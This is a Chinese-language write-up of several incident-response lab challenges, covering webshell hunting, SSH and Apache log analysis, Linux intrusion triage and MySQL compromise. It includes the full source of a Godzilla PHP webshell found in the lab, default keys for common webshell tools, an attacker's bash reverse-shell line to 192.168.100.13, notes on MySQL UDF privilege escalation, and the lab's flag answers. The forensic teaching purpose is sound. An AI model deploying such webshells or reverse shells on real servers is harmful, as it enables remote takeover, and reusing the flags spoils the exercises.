玄机-应急响应靶场-第一章wp汇总

第一章 应急响应-webshell查杀

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

这里先去把/var/www/html下的文件先down下来

复制代码
tar -czvf /tmp/html_backup.tar.gz /var/www/html

然后丢给d盾去扫

这里就分别去查看就行

这里可以看见gz.php注释里有一段uuid类似flag的

flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

2.黑客使用的什么工具的shell github地址的md5 flag{md5}

这里继续去看gz.php

php 复制代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

这里可以看见$key的是哥斯拉的默认值,算是经验吧,给出对比

工具 常见源码特征 常见默认值/变量 判断重点
哥斯拉 Godzilla payloadName、 S E S S I O N _SESSION\[ SESSION\[payloadName、encode()、run( d a t a ) 、 e v a l ( data)、eval( data)、eval(payload) $key='3c6e0b8a9c15224a',来自 md5("key") 前 16 位 动态 payload 存 session,后续 run($data) 执行
冰蝎 Behinder php://input、openssl_decrypt、AES、$_SESSION'k'、base64_decode、eval 常见 $key='e45e329feb5d925b',来自 md5("rebeyond") 前 16 位 AES 加密通信,原始 POST body,不一定有普通参数名
蚁剑 AntSword @eval( P O S T ′ x x x ′ ) 、 a s s e r t ( _POST'xxx')、assert( POST′xxx′)、assert(_POST'xxx')、base64_decode($_POST'xxx') 参数名常见 ant、pass、cmd,但不固定 更像客户端管理普通一句话马,源码结构不如哥斯拉/冰蝎固定

所以可以确定webshell工具就是哥斯拉,官方github地址:https://github.com/BeichenDream/Godzilla![image-20260609183208368](https://i-blog.csdnimg.cn/img_convert/75b5f9a16c93b01fb37ab806ae926e02.png)

flag{39392de3218c333f794befef07ac9257}

3.黑客隐藏shell的完整路径的md5 flag{md5}

复制代码
注 : /xxx/xxx/xxx/xxx/xxx.xxx

隐藏shell直接看D盾里扫出来的.Mysqli.php的隐藏文件

完整路径就是/var/www/html/include/Db/.Mysqli.php

md5后为flag:flag{aebac0e58cd6c5fad1695ee4d1ac1919}

4.黑客免杀马完整路径 md5 flag{md5}

所谓免杀马,就是绕过安全检测,使木马正常工作的方式,关于 PHP 免杀可以参考# PHP从零学习到Webshell免杀手册,简单来说,PHP 免杀马通常字符串异或加密、Base 家族加密、rot13加密、字符串拼接等方式实现,这里我们对 Base64 编码进行查杀,依然是手动搜索

基本上就能看见top.php

所以/var/www/html/wap/top.php

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

参考:第一章 应急响应-webshell查杀 - 玄机

第一章 应急响应-Linux日志分析

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 小到大排序

老样子先把目录打包down下来,然后放Kali

复制代码
tar -czvf /tmp/html_backup.tar.gz /var

首先要知道目录常见位置,然后确定做题思路,就是要知道常见的文件位置存放处

日志文件 说明
/var/log/auth.log Debian/Ubuntu/Kali 认证日志,记录 SSH 登录、sudo、su、用户认证等
/var/log/secure CentOS/RHEL 认证日志,记录 SSH 登录、sudo、su、用户认证等
/var/log/wtmp 记录成功登录、注销、重启、关机事件
/var/log/btmp 记录失败登录事件
/var/log/lastlog 记录每个用户最后一次登录信息
/var/run/utmp 记录当前已登录用户信息
/var/log/syslog Debian/Ubuntu 系统综合日志
/var/log/messages CentOS/RHEL 系统综合日志
/var/log/daemon.log 记录系统后台服务运行日志
/var/log/kern.log 记录内核相关日志
/var/log/dmesg 记录系统启动时的内核缓冲信息
/var/log/boot.log 记录系统启动过程日志
/var/log/cron CentOS/RHEL 计划任务执行日志
/var/log/maillog CentOS/RHEL 邮件服务日志
/var/log/mail.log Debian/Ubuntu 邮件服务日志
/var/log/apt/history.log apt 软件安装、卸载、升级历史
/var/log/apt/term.log apt 执行过程详细输出
/var/log/dpkg.log Debian/Ubuntu dpkg 软件包操作日志
/var/log/yum.log CentOS/RHEL yum 软件安装、更新日志
/var/log/dnf.log Fedora/RHEL 8+ dnf 软件安装、更新日志
/var/log/audit/audit.log auditd 审计日志,记录系统调用、权限、文件访问等
/var/log/faillog 用户登录失败统计日志
/var/log/tallylog PAM 登录失败统计日志,部分系统存在
/var/log/nginx/access.log Nginx Web 访问日志
/var/log/nginx/error.log Nginx 错误日志
/var/log/apache2/access.log Debian/Ubuntu Apache 访问日志
/var/log/apache2/error.log Debian/Ubuntu Apache 错误日志
/var/log/httpd/access_log CentOS/RHEL Apache 访问日志
/var/log/httpd/error_log CentOS/RHEL Apache 错误日志
/usr/local/tomcat/logs/catalina.out Tomcat 主运行日志
/usr/local/tomcat/logs/localhost_access_log.*.txt Tomcat HTTP 访问日志
/var/log/mysql/error.log MySQL/MariaDB 错误日志
/var/log/mysqld.log CentOS/RHEL MySQL 错误日志
/var/lib/mysql/mysql-bin.* MySQL 二进制日志,记录数据库写操作
/root/.bash_history root 用户历史命令
/home/*/.bash_history 普通用户 Bash 历史命令
/home/*/.zsh_history 普通用户 Zsh 历史命令
/etc/passwd 系统用户账户信息
/etc/shadow 用户密码 Hash 和密码策略信息
/etc/group 用户组信息
/etc/sudoers sudo 权限配置
/etc/sudoers.d/ sudo 权限扩展配置目录
/etc/crontab 系统级计划任务配置
/etc/cron.d/ 系统计划任务配置目录
/var/spool/cron/ CentOS/RHEL 用户计划任务目录
/var/spool/cron/crontabs/ Debian/Ubuntu 用户计划任务目录
/root/.ssh/authorized_keys root 用户 SSH 公钥登录配置
/home/*/.ssh/authorized_keys 普通用户 SSH 公钥登录配置

这题题目说擦混看有多少爆破root

复制代码
grep -a "Failed password for root" auth.log.1 | awk -F ' ' '{print $11}'|sort

排列组合一下就是flag{192.168.200.2,192.168.200.31,192.168.200.32}

2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割

首先我们要知道爆破成功的回显一般会有几个常见的字符Accepted,所以继续沿用上一个命令去对auth.log进行剖析

flag{192.168.200.2}

3.爆破用户名字典是什么?如果有多个使用","分割

Failed password for 用户名:账号存在、密码错(不在字典收集范围)

Failed password for invalid user 用户名:账号不存在 → 这就是爆破字典里的用户名

这里要知道192.168.200.2的用户名是root,所以提取出来

复制代码
for root from
for invalid user  from
for invalid user hello from

列的位置不一样这里稍微调整一下

继续提取for和from之间的内容就不要要列行了

flag{root,user,hello,test3,test2,test1}

4.登陆成功的IP共爆破了多少次

这里首先要找到我们要找的爆破成功的ip,在加上root

复制代码
grep -a "Accepted" auth.log.1 | awk '{print $11}' | sort -u
复制代码
grep -a "Failed password for root" auth.log.1 | grep "192.168.200.2"|wc -l

flag{4}

第一章日志分析-apache日志分析

先down下来/var

复制代码
tar -czvf /tmp/html_backup.tar.gz /var/

首先要知道Linux apache日志的位置

系统 服务名 访问日志
Kali/Ubuntu/Debian apache2 /var/log/apache2/access.log
CentOS/RHEL httpd /var/log/httpd/access_log

提交当天访问次数最多的IP,即黑客IP:

这里简单的看看access.log,但是没看见东西,继续看access.log.1

复制代码
awk '{print $1}' access.log.1 |sort|uniq -c

黑客使用的浏览器指纹是什么,提交指纹的md5:

Apache 默认访问日志格式:

复制代码
IP  空值  空值  [时间]  "请求"  状态码  大小  "来路"  "User-Agent"

先去匹配192.168.200.2再去配合使用正则Apache 日志里的 User-Agent最后去重输出

复制代码
grep "192.168.200.2" access.log.1 | grep -o '"[^"]*"' | sort | uniq -c 

这里能看见有个最多的,将这部分md5输出

flag{2d6330f380f44ac20f3a02eed0958f66}

查看包含index.php页面被访问的次数,提交次数:(不包括/xxx/index.php只筛选/index.php)

这里就是最简单的提取了/index.php

复制代码
grep '/index.php' | wc -l

查看黑客IP访问了多少次,提交次数:

前面我们知道ip为192.168.200.2

复制代码
grep '192.168.200.2' access.log.1|wc -l

但是发现有问题,这里回显是6556,后面提交flag发现不对劲,于是又去换了个命令

复制代码
grep -c '^192.168.200.2 ' access.log.1

后面排查的时候想到可能也把192.168.200.211也算进去了,不够严谨了

flag{6556}

查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:

思路:Apache 日志时间格式类似 [03/Aug/2023:08:xx:xx +时区]

复制代码
grep "\[03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort -u | wc -l

flag{5}

第一章 应急响应- Linux入侵排查

复制代码
tar -czvf /tmp/linux-check.tar.gz /var/

web目录存在木马,请找到木马的密码提交

flag{1}

服务器疑似存在不死马,请找到不死马的密码提交

看d盾扫出来的马.shell

复制代码
echo "5d41402abc4b2a76b9719d911017c592" > hash.txt

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

flag{hello}

不死马是通过哪个文件生成的,请提交文件名

继续跟着d盾的路径去看index.php发现写入的不死马

flag{index.php}

黑客留下了木马文件,请找出黑客的服务器ip提交

目录下有个.elf文件,这里直接查看这个文件为32位

给文件加权限直接尝试运行

复制代码
strace -f -e trace=network,execve ./shell\(1\).elf

这里直接使用strace监听运行这个elf文件,这里看回显直接吐出监听的反弹shell回显(10.11.55.21:3333)

flag{10.11.55.21}

黑客留下了木马文件,请找出黑客服务器开启的监端口提交

flag{3333}

第一章日志分析-mysql应急响应

还是先down下源码

复制代码
tar -czvf /tmp/mysql-check.tar.gz /var/

MySQL 关键日志类型 & 默认路径

日志类型 作用 Linux 默认路径
错误日志 error.log 启动失败、崩溃、权限报错、异常登录、初始化故障 /var/log/mysql/error.log
通用查询日志 general_log 记录所有连接、所有执行 SQL(暴力猜账号、恶意查询、删库 DROP 全记录) 关闭默认开启,开启后:/var/lib/mysql/主机名.log
慢查询日志 slow.log 执行超时 SQL、全表扫描,排查拖库、恶意批量查询 /var/lib/mysql/主机名-slow.log
二进制日志 binlog(核心) 记录增删改 DML、建表删库 DDL、账号创建 / 授权,可回滚数据、溯源入侵操作 mysql-bin.000001 系列,数据目录下

1.黑客第一次写入的shell flag{关键字符串}

先使用d盾扫

flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

黑客反弹shell的ip

去查看/var/log/mysql/error.log

日志不长,可以直接看见这个/tmp/1.sh很突出

查看1.sh的具体如下,可以发现攻击者反弹 Shell 的 IP,这段脚本启动了 Bash Shell,将流量重定向到 TCP 连接上,实现反弹 Shell 的目的,故 Flag 为192.168.100.13

复制代码
bash -i >&/dev/tcp/192.168.100.13/777 0>&1

flag{192.168.100.13}

寻找提权文件

mysql提权:

  • UDF 提权
  • MOF 提权
  • 启动项提权
  • CVE-2016-6663

1)UDF 相关

  • Linux:plugin_dir 下陌生 .so/usr/lib/mysql//usr/lib64/mysql/
  • Windows:plugin_dirudf.dlllibmysql.dll 异常修改
  • SQL 日志检索:CREATE FUNCTION, SONAME, sys_eval

2)MOF(仅老 Windows)

复制代码
C:\Windows\System32\wbem\mof\` 所有新增、近期修改 `.mof

3)启动项 + 自启动(windows)

  • 开机启动目录、注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • 系统服务列表新增未知服务

4)CVE-2016-6663-CVE-2016-6664

CVE-2016-6663 仅影响 Linux 系统,Oracle MySQL 5.5≤5.5.51、5.6≤5.6.32、5.7≤5.7.14,对应低版本 MariaDB、Percona Server 均受漏洞波及,MySQL 8.0 不受影响

这里先看一下mysql版本,只能udf提权了

直接去/usr/lib/mysql/plugin

有两个so有可写的权限

看见udf.so是一句话木马

flag{B1818BDE4E310F3D23F1005185B973E7}

黑客获取的权限 flag{whoami后的值}

复制代码
ps aux | grep mysql

这里直接看进程本想着提取mysql有关的结果发现用户名user=mysql

flag{mysql}

相关推荐
其实防守也摸鱼4 小时前
软件安全与漏洞--软件安全编码与防御技术理论题库
开发语言·网络·安全·网络安全·软件安全·软件安全与漏洞
夏天测9 小时前
微信小程序自动化漏洞挖掘流水线:从缓存提取到密钥验证全流程实战
python·网络安全·微信小程序·漏洞挖掘
持敬chijing9 小时前
Web渗透之前后端漏洞-命令注入
安全·web安全·网络安全·网络攻击模型·安全威胁分析
hhcgchpspk11 小时前
xss漏洞学习笔记
笔记·学习·网络安全·xss
juesdo11 小时前
青岑CTF web入门 EZCMD系列
web安全·网络安全·php
txg66612 小时前
FuzzGPT:用大语言模型生成“极端边界程序”的深度学习框架 Fuzzing 新范式
人工智能·深度学习·安全·网络安全·语言模型
持敬chijing12 小时前
Web渗透之前后端漏洞-CSRF(跨站请求伪造)
安全·web安全·网络安全·xss·csrf
持敬chijing12 小时前
Web渗透之前后端漏洞-文件下载漏洞
sql·web安全·网络安全·网络攻击模型·web
X7x513 小时前
重塑安全防线:PDR2A模型构建数字时代的动态防御体系
网络安全·网络攻击模型·安全威胁分析·安全架构·pdr2a模型